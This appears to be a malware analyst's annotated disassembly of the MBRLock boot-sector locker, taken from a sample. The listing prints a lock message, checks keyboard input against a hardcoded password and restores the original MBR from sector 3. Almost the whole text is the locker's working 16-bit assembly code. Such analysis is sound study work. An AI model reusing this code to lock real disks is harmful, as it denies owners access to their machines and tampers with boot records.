MBRLock

某样本中提取

; =============== S U B R O U T I N E =======================================


start_7C03      proc far                ; CODE XREF: j_start_7C03↑j
                                        ; start_7C03+B8↓j
                mov     ax, cs
                mov     ds, ax
                mov     ss, ax
                mov     es, ax
                mov     sp, 100h
                mov     bp, 7CEDh       ; Your disk have a lock!!!Please enter the unlock password
                mov     bx, 7CEDh
                call    strlen_C7
                mov     cx, ax          ; get note'lens to cx
                mov     ax, 1301h
                mov     bx, 0Ch
                mov     dl, 0
                int     10h             ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
                                        ; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
                                        ; DH,DL = row,column of starting cursor position, CX = length of string
                                        ; ES:BP -> start of string
                mov     ax, 0B800h
                add     ax, 0A0h
                mov     ds, ax
                assume ds:nothing
                xor     cx, cx
                xor     bx, bx

getchar_7C2F:                           ; CODE XREF: start_7C03+44↓j
                                        ; start_7C03+50↓j
                xor     ax, ax
                int     16h             ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
                                        ; Return: AH = scan code, AL = character
                cmp     al, 8           ; backspace
                jz      short PressBackspace
                cmp     al, 0Dh         ; enter
                jz      short CheckPassword
                mov     ah, 2
                mov     [bx], al
                mov     [bx+1], ah
                add     bx, 2
                inc     cx
                jmp     getchar_7C2F
; ---------------------------------------------------------------------------

PressBackspace:                         ; CODE XREF: start_7C03+32↑j
                sub     bx, 2
                dec     cx
                xor     ax, ax
                mov     [bx], ax
                jmp     getchar_7C2F
; ---------------------------------------------------------------------------

CheckPassword:                          ; CODE XREF: start_7C03+36↑j
                mov     ax, cs
                mov     es, ax
                xor     bx, bx
                mov     si, 7CDAh       ; AAAAAAAAAAAAAAAAAA
                mov     cl, cs:pswd_len_7CD9
                mov     ch, 0

strcmp_7C66:                            ; CODE XREF: start_7C03+72↓j
                db      3Eh
                mov     al, [bx]
                mov     ah, es:[si]     ; get input char==>al
                                        ; si==>correct passwd==>"AAAAAAAAAAAAAAAAAA"
                cmp     al, ah
                jnz     short NotMatch
                add     bx, 2
                inc     si
                loop    strcmp_7C66
                xor     ax, ax
                mov     ax, 7E00h
                mov     es, ax
                assume es:nothing
                xor     bx, bx
                mov     ah, 2           ; read
                mov     dl, 80h
                mov     al, 1           ; number of sectors to read
                mov     dh, 0
                mov     ch, 0
                mov     cl, 3           ; sector==>to read
                int     13h             ; DISK - READ SECTORS INTO MEMORY
                                        ; AL = number of sectors to read, CH = track, CL = sector
                                        ; DH = head, DL = drive, ES:BX -> buffer to fill
                                        ; Return: CF set on error, AH = status, AL = number of sectors read
                xor     bx, bx
                mov     dl, 80h
                mov     ah, 3           ; write
                mov     al, 1
                mov     dh, 0
                mov     ch, 0
                mov     cl, 1           ; sector==>to write
                int     13h             ; DISK - WRITE SECTORS FROM MEMORY
                                        ; AL = number of sectors to write, CH = track, CL = sector
                                        ; DH = head, DL = drive, ES:BX -> buffer
                                        ; Return: CF set on error, AH = status, AL = number of sectors written
                jmp     end_7CBE
; ---------------------------------------------------------------------------

NotMatch:                               ; CODE XREF: start_7C03+6B↑j
                mov     bx, 0B800h
                add     bx, 38h ; '8'
                mov     al, 58h ; 'X'
                mov     [bx], al
                mov     cx, word ptr cs:pswd_len_7CD9
                xor     ax, ax

loc_7CB3:                               ; CODE XREF: start_7C03+B6↓j
                mov     [bx], ax
                add     bx, 2
                loop    loc_7CB3
                jmp     near ptr start_7C03
; ---------------------------------------------------------------------------

end_7CBE:                               ; CODE XREF: start_7C03+9B↑j
                mov     ax, 0FFFFh
                push    ax
                mov     ax, 0
                push    ax
                retf
start_7C03      endp ; sp-analysis failed


; =============== S U B R O U T I N E =======================================


strlen_C7       proc near               ; CODE XREF: start_7C03+11↑p
                push    cx
                push    bx

loop_7CC9:                              ; CODE XREF: strlen_C7+C↓j
                db      3Eh             ; Your disk have a lock!!!Please enter the unlock password
                mov     cl, [bx]
                cmp     cl, 0
                jz      short ret_7CD6
                inc     bx
                inc     ax
                jmp     loop_7CC9       ; Your disk have a lock!!!Please enter the unlock password
; ---------------------------------------------------------------------------

ret_7CD6:                               ; CODE XREF: strlen_C7+8↑j
                pop     cx
                pop     bx
                retn
strlen_C7       endp

; ---------------------------------------------------------------------------
pswd_len_7CD9   db 12h                  ; DATA XREF: start_7C03+5C↑r
                                        ; start_7C03+A9↑r
aAaaaaaaaaaaaaa db 'AAAAAAAAAAAAAAAAAA',0
aYourDiskHaveAL db 'Your disk have a lock!!!Please enter the unlock password',0
                db 0D8h dup(0), 55h, 0AAh
seg000          ends


                end